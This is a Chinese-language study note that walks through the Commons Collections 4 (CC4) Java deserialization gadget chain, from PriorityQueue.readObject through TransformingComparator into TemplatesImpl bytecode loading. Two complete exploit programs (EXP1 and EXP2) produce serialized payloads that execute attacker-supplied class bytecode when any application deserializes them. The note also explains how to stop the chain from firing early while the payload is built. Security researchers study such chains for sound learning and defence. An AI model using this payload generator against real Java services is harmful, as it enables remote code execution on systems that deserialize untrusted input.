CommonsCollections4反序列化分析
cc4
调用链
后半段的话和cc3差不多,只是改变了前面的入口,简单分析一下这条链子
首先看一下谁调用了ChainedTransformer的transform
可以找到一处TransformingComparator的compare调用了transform
如果继续找的话其实还有很多compare 我不懂,反正最后再PriorityQueue的readObject()有个利用点,
cc4前半段分析
我们进入readObject中的heapify(),里面存在一个siftDown()方法
进入seftDown()方法
再进入siftDownUsingComparator(),在此处调用了conpare,这就是入口到中间的链子
尝试一下构造EXP:
尝试执行后无果 我们再heapify()设个断点,此时我们的size=0 所以size>>>1-1就等于-1
我们至少让i初始值为0才能进入循环,也就是size初始值为2
所以我们要增加队列为2
但是尝试一下之后还是报错了,这里的原因是因为在add(2)的时候也会触发一系列链子导致本地执行,我们简单分析看一下:
size的初始值为0,所以可以理解add(1)的时候 i0 所以不会触发siftup,但是当我们add(2)的时候,size再+1之前被赋值给i,此时i1,就会触发siftup函数,跟进一下
我们初始化有comparator 所以就会进入siftUpUsingComparator中,然后会在if条件中触发compare
(当然我们的k就是之前赋值过来的I,肯定是>0的)
而字节码加载的某个类只有在反序列化时才会自动加载进来,所以会报错,那这里就像URLDNS链一样解决就好了。
setFieldValue(transformingComparator,"transformer",chainedTransformer);
EXP1:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
// 主程序
public class cc4test {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "calc");
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj })
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
setFieldValue(transformingComparator,"transformer",chainedTransformer);
// serialize(priorityQueue);
unserialize("s.bin");
}
//序列化数据
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("s.bin"));
oos.writeObject(obj);
}
//反序列化数据
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
无需Transformer数组的EXP
上面的EXP最后还是需要用到Transformer数组,原因还是我们前面是无法控制transform调用链中的第一个传参而导致我们需要传入一个ConstantTransformer
等等等等,但是我们在cc3中学过一个函数InstantiateTransformer
,就对接cc3的后半段思路就行了
那么这个地方是怎么解决可以自己选择传参呢?延续cc3中对PriorityQueue.object的分析,当我们反序列化进入到siftDownUsingComparaotr的时候会传入一个k 和x ,k就是队列下标,x就是对应下标的内容,我们知道2个队列的时候只有下标为0的那个队列会触发这个函数
然后下一步就会进入到TransformingComparator
的compare方法中,当然我们的x ,就是我们可控的下表为0的队列也会在如下图的地方被传入
然后接着被传入到我们下面的transformer.transform()中,而transformer我们可以通过构造函数把他初始化成为InstantiateTransformer
会看我们初始化的InstantiateTransformer
//byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
//TemplatesImpl obj = new TemplatesImpl();
//setFieldValue(obj, "_bytecodes", new byte[][] {code});
//setFieldValue(obj, "_name", "calc");
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{obj});
再看一下他的transform方法
此时input就是我们可控的下标为0的队列,然后结合cc3,我们就完成了一系列的可控的反序列化了
EXP2
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class cc4test2 {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "calc");
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{obj});
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(TrAXFilter.class);
priorityQueue.add(2);
setFieldValue(transformingComparator,"transformer",instantiateTransformer);
serialize(priorityQueue);
unserialize("serzsd.bin");
}
//序列化数据
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serzsd.bin"));
oos.writeObject(obj);
}
//反序列化数据
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
参考资料: